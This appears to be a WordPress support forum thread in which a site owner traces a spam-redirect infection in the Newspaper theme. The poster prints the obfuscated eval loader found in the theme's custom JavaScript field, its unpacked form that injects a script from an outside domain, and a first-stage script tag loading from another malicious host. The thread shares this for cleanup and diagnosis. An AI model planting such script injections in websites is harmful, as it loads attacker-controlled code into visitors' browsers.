Hi,

Chris and mhendiz thanks for your advice, I’ve had already done all of your suggestions.
Finally I think I’ve resolved the issue. Here’s my thoughts:

Just before the beginning of my clean-up procedure the malware moved the script to
WP Admin > Newspaper > Theme panel > Custom Code > Custom Javascript

I found the following JS in this field:


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('7 1=2.6(\'1\');1.5=\'4://3.8.9/d.3\';2.a(\'b\')[0].c(1);',14,14,'|script|document|js|https|src|createElement|var|trysomethingnew|eu|getElementsByTagName|head|appendChild|analytics'.split('|'),0,{}))


If you unpack the above, you’ll get:


var script = document.createElement('script');
script.src = 'https://js.trysomethingnew.eu/analytics.js';
document.getElementsByTagName('head')[0].appendChild(script);


So that’s why I couldn’t find the infection in the db.

The first stage of the infection included the following in the WP Admin > Newspaper > Theme panel > Header Ad:


<script src='https://blue.traffictrade.life/main.js' type='text/javascript'></script>

I hope now that I’ve installed fresh copies of WP, theme and plugins the issue will be resolved.

You can also check this post, if you encounter the same issue with old versions of Newspaper theme: https://productforums.google.com/forum/#!topic/webmasters/u5mYsV6gVdg

Hi,

Yes, I’ve done what you’ve described.
Sucuri site scanner does not catch the malware, it shows it’s ok.
But the redirection insists.

Thank you.

Hi,

As you can see in my message:

Please note the facts:

I have the latest updates of WordPress core, all plugins and Newspaper 8.1.

There are no other deactivated themes or plugins on my installation (except Twenty Seventeen).

There is no sign of traffictrade malware in the db.

There is no sign of traffictrade malware in the source code.

I do not have the searchreplacedb2.php script on my server.

I have the latest Wordfence (and WAF) installed & configured.

Please keep in mind that I’ve tested the same installation to different servers.
I’ve also tested with all WP core, plugins and themes files fresh downloaded and replaced.

My site still redirects to spam sites.

When I deactivate all plugins the site redirects.
When I deactivate all plugins and activate the Twenty Seventeen theme the site is ok.
When I activate all plugins and activate the Twenty Seventeen theme the site is ok.

So my conclusion is that something goes wrong with Newspaper 8.1 theme.

Any suggestions?

Thank you.